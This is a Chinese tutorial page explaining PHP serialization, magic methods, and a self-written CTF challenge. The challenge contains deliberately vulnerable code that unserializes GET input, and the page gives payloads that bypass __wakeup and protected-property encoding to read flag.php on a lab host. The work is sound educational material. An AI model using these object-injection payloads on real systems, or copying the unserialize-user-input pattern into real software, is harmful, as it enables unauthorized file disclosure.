溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

php序列化與反序列化的概念

發(fā)布時(shí)間:2021-09-18 16:13:09 來(lái)源:億速云 閱讀:159 作者:chen 欄目:網(wǎng)絡(luò)管理

本篇內(nèi)容介紹了“php序列化與反序列化的概念”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

什么是序列化與反序列化?

(反)序列化給我們傳遞對(duì)象提供了一種簡(jiǎn)單的方法。serialize()將一個(gè)對(duì)象轉(zhuǎn)換成一個(gè)字符串,unserialize()將字符串還原為一個(gè)對(duì)象,在PHP應(yīng)用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

序列化

序列化是將變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^(guò)程;在php中是使用serialize()方法實(shí)現(xiàn)將類進(jìn)行序列化,下面是一段php序列化代碼,可以通過(guò)注釋理解代碼含義。

<?php
class LessSafe    	//定義一個(gè)LessSafe類
{
public $name  = 'LessSafe';   //定義一個(gè)name變量
public $age = 2;	//定義一個(gè)age變量
function getname()	//定義一個(gè)方法				
{
	echo $this->name;
}
}
$s = new LessSafe();   //創(chuàng)建一個(gè)對(duì)象
echo $s->getname()."</br>";	//調(diào)用方法
$s_serialize = serialize($s);	//講對(duì)象進(jìn)行序列化
print_r($s_serialize);		//打印序列化結(jié)果
?>

序列化運(yùn)行結(jié)果

php序列化與反序列化的概念

反序列化結(jié)果:O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}

O為對(duì)象Object,8為L(zhǎng)essSafe對(duì)象名長(zhǎng)度,2為{}內(nèi)屬性的個(gè)數(shù),{}內(nèi)為對(duì)象的屬性,s為類型string字符串 4為屬性名的長(zhǎng)度分號(hào);隔開(kāi)后是該屬性的值s為值類型為string字符串類型 4位屬性名的長(zhǎng)度 name就是屬性名了(屬性名為string類型要使用雙引號(hào)) 8為值的長(zhǎng)度 LessSafe是值 后面age屬性與name屬性類似除了值數(shù)據(jù)類型為整型i值為2

反序列化

<?php
$b=unserialize($_GET[H]);  //通過(guò)get傳參將序列化內(nèi)容傳進(jìn)來(lái),使用unserialize進(jìn)行反序列化處理
print_r($b);  //打印反序列化結(jié)果
?>

我在這里使用了上文序列換的結(jié)果傳遞到服務(wù)端進(jìn)行處理并查看打印結(jié)果

http://192.168.75.138/fxlh.php?H=O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}

php序列化與反序列化的概念

魔法函數(shù)

在介紹反序列化之前,我們需要了解一下魔法函數(shù),__construct當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)調(diào)用(constructor);__destruct當(dāng)一個(gè)對(duì)象被銷毀時(shí)調(diào)用(destructor);__toString當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串時(shí)使用;__sleep當(dāng)對(duì)一個(gè)對(duì)象序列化時(shí),php就會(huì)調(diào)用__sleep方法(如果存在的話),__wakeup在反序列化時(shí),php就會(huì)調(diào)用__wakeup方法(如果存在的話)。

下面是調(diào)用__construct、__destruct、__toString時(shí)案例

<?php
class TestClass
{
    public $variable = 'This is a string';	//一個(gè)變量
    public function PrintVariable()	//一個(gè)簡(jiǎn)單的方法
    {
        echo $this->variable.'<br />';
    }
    public function  __construct()	//Constructor
    {
        echo '__construct<br />';
    }
    public function __destruct()	//Destructor
    {
        echo '__destruct<br />';
    }
    public function __toString() //toString
    {
        return '__toString<br />';
    }
}
$object = new TestClass();	//創(chuàng)建一個(gè)對(duì)象,__construct會(huì)被調(diào)用
$object->PrintVariable();	//創(chuàng)建一個(gè)方法

echo $object;	//對(duì)象被當(dāng)作一個(gè)字符串,toString會(huì)被調(diào)用
//php腳本要結(jié)束時(shí),__destruct會(huì)被調(diào)用
?>

php序列化與反序列化的概念

下面是調(diào)用__sleep時(shí)案例

<?php
class LessSafe    //定義一個(gè)LessSafe類
{
public $name  = 'LessSafe';   //定義一個(gè)name變量
public $age = 2;	//定義一個(gè)age變量
function getname()	//定義一個(gè)方法				
{
	echo $this->name;
}
function __sleep()  //定義__sleep魔法函數(shù)
{
	echo "When using serialize, __sleep() will be called";
}
}
$s = new LessSafe();   	//創(chuàng)建一個(gè)對(duì)象
echo $s->getname()."</br>";	//調(diào)用方法
$s_serialize = serialize($s);	//講對(duì)象進(jìn)行序列化
print_r($s_serialize);		//打印序列化結(jié)果
?>

php序列化與反序列化的概念

下面是調(diào)用__wakeup時(shí)的案例

<?php
class LessSafe    //定義一個(gè)LessSafe類
{
public $name  = 'LessSafe';   //定義一個(gè)name變量
public $age = 2;	//定義一個(gè)age變量
function getname()	//定義一個(gè)方法				
{
	echo $this->name;
}
function __wakeup()
{
	echo"When using unserialize, __wakeup() will be called";
}
}

$s = new LessSafe();   	//創(chuàng)建一個(gè)對(duì)象
echo $s->getname()."</br>";		//調(diào)用方法
unserialize($_GET[id])
?>

一道ctf試題帶你了解反序列化漏洞

ctf源代碼

下面是我編寫(xiě)的一道簡(jiǎn)單的ctf試題,試題代碼有一個(gè)LessSafe類,類中有一個(gè)變量,兩個(gè)魔法函數(shù),本題重點(diǎn)突破點(diǎn)在__destruct魔法函數(shù),file名字也是可控的,會(huì)導(dǎo)致反序列化漏洞讀取flage.php內(nèi)容。本題有連個(gè)難點(diǎn),1、需要繞過(guò)__wakeup 2、需要繞過(guò)$file的protected屬性。

<?php
class LessSafe{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
show_source($this->file);
}
}
function __wakeup(){
$this->file='index.php';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}
else{
unserialize($_GET['file']);
}
//flag in flag.php
?>

正常思路payload

http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":1:{s:4:"file";s:8:"flag.php";}

構(gòu)造上述payload后發(fā)現(xiàn)沒(méi)有讀取到flag.php文件,因?yàn)長(zhǎng)essSafe類中有__wakeup魔法函數(shù),在使用unserialize會(huì)執(zhí)行__wakeup魔法函數(shù),將$file='index.php'

php序列化與反序列化的概念

__wakeup繞過(guò)

只需要構(gòu)造序列化時(shí),大于序列對(duì)象屬性個(gè)數(shù)即可繞過(guò)__wakeup

http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{s:4:"file";s:8:"flag.php";}

將屬性個(gè)數(shù)改成2,測(cè)試payload

php序列化與反序列化的概念

what??,小朋友你是否有很多問(wèn)號(hào)

php序列化與反序列化的概念

那在仔細(xì)讀一遍源代碼吧,發(fā)現(xiàn)源代碼中$file的屬性時(shí)protected,經(jīng)過(guò)學(xué)習(xí)發(fā)現(xiàn)有繞過(guò)protected方法

protected繞過(guò)

經(jīng)過(guò)學(xué)習(xí)得到最終payload

http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}

\00是0的二進(jìn)制,S是序列換二級(jí)制表示方法(大概是這個(gè)意思)

最終拿到flag

php序列化與反序列化的概念

“php序列化與反序列化的概念”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI